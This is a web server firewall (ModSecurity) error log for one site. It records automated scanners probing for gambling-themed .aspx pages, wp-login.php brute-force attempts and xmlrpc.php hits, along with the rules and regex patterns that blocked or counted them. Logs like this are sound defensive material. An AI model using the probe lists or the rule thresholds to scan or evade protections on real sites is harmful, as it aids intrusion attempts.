[Wed Feb 25 01:07:54.884039 2026] [:error] [pid 18447:tid 18770] [client 51.68.32.135:50304] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "aZ3a6s-TpHVc8yBj5eaobAAAAgc"]
[Wed Feb 25 01:07:57.279179 2026] [:error] [pid 18447:tid 18776] [client 51.68.32.135:51562] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "aZ3a7c-TpHVc8yBj5eaodQAAAg0"]
[Wed Feb 25 01:07:59.443268 2026] [:error] [pid 18458:tid 18803] [client 51.68.32.135:51574] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "aZ3a7wuir-tBe4tUisl6_AAAAok"]
[Wed Feb 25 01:08:36.874648 2026] [:error] [pid 18850:tid 18857] [client 51.68.32.135:51588] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "aZ3bFODBmHucoAJRnqnrLQAAAAU"]
[Wed Feb 25 01:08:38.879766 2026] [:error] [pid 26872:tid 26877] [client 51.68.32.135:33030] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aZ3bFnxLbzvRGuzwKjnQsQAAAEM"]
[Wed Feb 25 01:08:40.836407 2026] [:error] [pid 26872:tid 26894] [client 51.68.32.135:33040] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aZ3bGHxLbzvRGuzwKjnQuQAAAFQ"]
[Wed Feb 25 01:08:42.998121 2026] [:error] [pid 18458:tid 18813] [client 51.68.32.135:33044] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aZ3bGguir-tBe4tUisl7LAAAApI"]
[Wed Feb 25 01:08:45.124855 2026] [:error] [pid 18850:tid 18861] [client 51.68.32.135:33058] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aZ3bHeDBmHucoAJRnqnrOAAAAAk"]
[Wed Feb 25 01:08:47.121300 2026] [:error] [pid 26872:tid 26894] [client 51.68.32.135:38296] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aZ3bH3xLbzvRGuzwKjnQyQAAAFQ"]
[Wed Feb 25 01:08:49.225742 2026] [:error] [pid 18447:tid 18779] [client 51.68.32.135:38308] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aZ3bIc-TpHVc8yBj5eaougAAAhA"]
[Wed Feb 25 01:08:51.108217 2026] [:error] [pid 26872:tid 26894] [client 51.68.32.135:38310] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aZ3bI3xLbzvRGuzwKjnQ1gAAAFQ"]
[Wed Feb 25 01:08:53.172078 2026] [:error] [pid 26872:tid 26886] [client 51.68.32.135:38320] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "aZ3bJXxLbzvRGuzwKjnQ4gAAAEw"]
[Wed Feb 25 01:08:55.198110 2026] [:error] [pid 26872:tid 26884] [client 51.68.32.135:39482] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "aZ3bJ3xLbzvRGuzwKjnQ6AAAAEo"]
[Wed Feb 25 01:08:57.348221 2026] [:error] [pid 26872:tid 26875] [client 51.68.32.135:39494] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "aZ3bKXxLbzvRGuzwKjnQ7wAAAEE"]
[Wed Feb 25 01:08:59.377515 2026] [:error] [pid 26872:tid 26877] [client 51.68.32.135:39510] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "aZ3bK3xLbzvRGuzwKjnQ-gAAAEM"]
[Wed Feb 25 01:09:01.582458 2026] [:error] [pid 18850:tid 18855] [client 51.68.32.135:39518] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aZ3bLeDBmHucoAJRnqnrPQAAAAM"]
[Wed Feb 25 01:09:03.481473 2026] [:error] [pid 18850:tid 18857] [client 51.68.32.135:39532] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aZ3bL-DBmHucoAJRnqnrQgAAAAU"]
[Wed Feb 25 01:09:05.438680 2026] [:error] [pid 26872:tid 26895] [client 51.68.32.135:39874] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aZ3bMXxLbzvRGuzwKjnRBgAAAFU"]
[Wed Feb 25 01:09:07.627641 2026] [:error] [pid 18441:tid 18717] [client 51.68.32.135:39888] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aZ3bMxYF1wpOnXIaHlOQggAAAMk"]
[Wed Feb 25 01:09:09.627117 2026] [:error] [pid 26872:tid 26883] [client 51.68.32.135:39898] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aZ3bNXxLbzvRGuzwKjnRDgAAAEk"]
[Wed Feb 25 01:09:11.563019 2026] [:error] [pid 26872:tid 26877] [client 51.68.32.135:39914] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aZ3bN3xLbzvRGuzwKjnREgAAAEM"]
[Wed Feb 25 01:09:13.637178 2026] [:error] [pid 18850:tid 18872] [client 51.68.32.135:39916] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aZ3bOeDBmHucoAJRnqnrRgAAABQ"]
[Wed Feb 25 01:09:15.530075 2026] [:error] [pid 26872:tid 26888] [client 51.68.32.135:36396] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aZ3bO3xLbzvRGuzwKjnRGAAAAE4"]
[Wed Feb 25 01:09:17.658628 2026] [:error] [pid 26872:tid 26893] [client 51.68.32.135:36410] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "aZ3bPXxLbzvRGuzwKjnRHgAAAFM"]
[Wed Feb 25 01:09:19.556927 2026] [:error] [pid 26872:tid 26882] [client 51.68.32.135:36424] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "aZ3bP3xLbzvRGuzwKjnRJgAAAEg"]
[Wed Feb 25 01:09:21.399151 2026] [:error] [pid 26872:tid 26880] [client 51.68.32.135:36436] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "aZ3bQXxLbzvRGuzwKjnRNAAAAEY"]
[Wed Feb 25 01:09:23.372161 2026] [:error] [pid 18447:tid 18782] [client 51.68.32.135:36448] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "aZ3bQ8-TpHVc8yBj5eao0AAAAhM"]
[Wed Feb 25 01:09:25.297823 2026] [:error] [pid 26872:tid 26885] [client 51.68.32.135:38466] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "aZ3bRXxLbzvRGuzwKjnRQAAAAEs"]
[Wed Feb 25 01:09:27.353855 2026] [:error] [pid 26872:tid 26876] [client 51.68.32.135:38482] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aZ3bR3xLbzvRGuzwKjnRSAAAAEI"]
[Wed Feb 25 01:09:29.193785 2026] [:error] [pid 18447:tid 18769] [client 51.68.32.135:38492] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "aZ3bSc-TpHVc8yBj5eao1AAAAgY"]
[Wed Feb 25 01:09:31.124051 2026] [:error] [pid 18458:tid 18816] [client 51.68.32.135:38494] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "aZ3bSwuir-tBe4tUisl7ewAAApU"]
[Wed Feb 25 01:10:06.386294 2026] [:error] [pid 18850:tid 18857] [client 51.68.32.135:38498] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "aZ3bbuDBmHucoAJRnqnriwAAAAU"]
[Wed Feb 25 01:10:08.235332 2026] [:error] [pid 26872:tid 26891] [client 51.68.32.135:43466] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "aZ3bcHxLbzvRGuzwKjnRywAAAFE"]
[Wed Feb 25 02:33:56.784105 2026] [:error] [pid 18441:tid 18719] [client 43.131.36.84:50780] [client 43.131.36.84] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aZ3vFBYF1wpOnXIaHlOhqAAAAMs"]
[Wed Feb 25 07:02:01.325883 2026] [:error] [pid 60387:tid 60472] [client 14.215.163.132:48802] [client 14.215.163.132] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aZ4t6YHL0QH7Sr13X0KskwAAAoA"]
[Wed Feb 25 09:32:03.588021 2026] [:error] [pid 20659:tid 20719] [client 20.171.9.142:51688] [client 20.171.9.142] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.171.9.142, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ5REz_THK_HtK-Q44I2HAAAAFg"], referer: http://gigfragments.org/wp-admin/
[Wed Feb 25 09:32:05.869344 2026] [:error] [pid 20659:tid 20703] [client 20.171.9.142:57111] [client 20.171.9.142] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.171.9.142, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ5RFT_THK_HtK-Q44I2JQAAAEg"], referer: http://gigfragments.org/wp-admin/
[Wed Feb 25 09:32:07.894463 2026] [:error] [pid 5556:tid 5587] [client 20.171.9.142:62607] [client 20.171.9.142] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.171.9.142, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ5RF6OrYeaTyh7lGRVpZgAAAcA"], referer: http://gigfragments.org/wp-admin/
[Wed Feb 25 09:32:10.883350 2026] [:error] [pid 5556:tid 5605] [client 20.171.9.142:62607] [client 20.171.9.142] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.171.9.142, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZ5RGqOrYeaTyh7lGRVpawAAAdI"], referer: www.google.com
[Wed Feb 25 11:42:04.465604 2026] [:error] [pid 20659:tid 20698] [client 148.222.231.107:61535] [client 148.222.231.107] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.222.231.107, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZ5vjD_THK_HtK-Q44JzhAAAAEM"]
[Wed Feb 25 13:58:06.857248 2026] [:error] [pid 20763:tid 20779] [client 43.130.9.111:38526] [client 43.130.9.111] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aZ6Pbk0w_zc13OX-xiYF3gAAAM4"]
[Wed Feb 25 18:47:04.593473 2026] [:error] [pid 60290:tid 60304] [client 193.70.44.235:58678] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "aZ7TKDPwSUztcPyiofqsHgAAAQw"]
[Wed Feb 25 18:47:06.423174 2026] [:error] [pid 5556:tid 5608] [client 193.70.44.235:36664] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aZ7TKqOrYeaTyh7lGRUt_wAAAdU"]
[Wed Feb 25 18:47:08.387754 2026] [:error] [pid 60290:tid 60297] [client 193.70.44.235:36676] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aZ7TLDPwSUztcPyiofqsJAAAAQU"]
[Wed Feb 25 18:47:10.335507 2026] [:error] [pid 5556:tid 5606] [client 193.70.44.235:36680] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aZ7TLqOrYeaTyh7lGRUuBQAAAdM"]
[Wed Feb 25 18:47:12.289203 2026] [:error] [pid 5556:tid 5597] [client 193.70.44.235:36694] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aZ7TMKOrYeaTyh7lGRUuBgAAAco"]
[Wed Feb 25 18:47:14.409087 2026] [:error] [pid 5556:tid 5598] [client 193.70.44.235:36710] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aZ7TMqOrYeaTyh7lGRUuCQAAAcs"]
[Wed Feb 25 18:47:16.469601 2026] [:error] [pid 5556:tid 5608] [client 193.70.44.235:41836] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aZ7TNKOrYeaTyh7lGRUuDQAAAdU"]
[Wed Feb 25 18:47:18.387227 2026] [:error] [pid 60387:tid 60480] [client 193.70.44.235:41840] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aZ7TNoHL0QH7Sr13X0JTCwAAAog"]
[Wed Feb 25 18:47:20.310104 2026] [:error] [pid 5556:tid 5610] [client 193.70.44.235:41852] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aZ7TOKOrYeaTyh7lGRUuMQAAAdc"]
[Wed Feb 25 18:47:22.206216 2026] [:error] [pid 60387:tid 60480] [client 193.70.44.235:41862] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aZ7TOoHL0QH7Sr13X0JTLgAAAog"]
[Wed Feb 25 18:47:24.101222 2026] [:error] [pid 60498:tid 60514] [client 193.70.44.235:41870] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aZ7TPCFCVhQ3ffus0uIcWQAAAsk"]
[Wed Feb 25 18:47:26.029231 2026] [:error] [pid 5556:tid 5608] [client 193.70.44.235:52912] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aZ7TPqOrYeaTyh7lGRUuXQAAAdU"]
[Wed Feb 25 18:47:27.915500 2026] [:error] [pid 5556:tid 5592] [client 193.70.44.235:52916] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aZ7TP6OrYeaTyh7lGRUuYAAAAcU"]
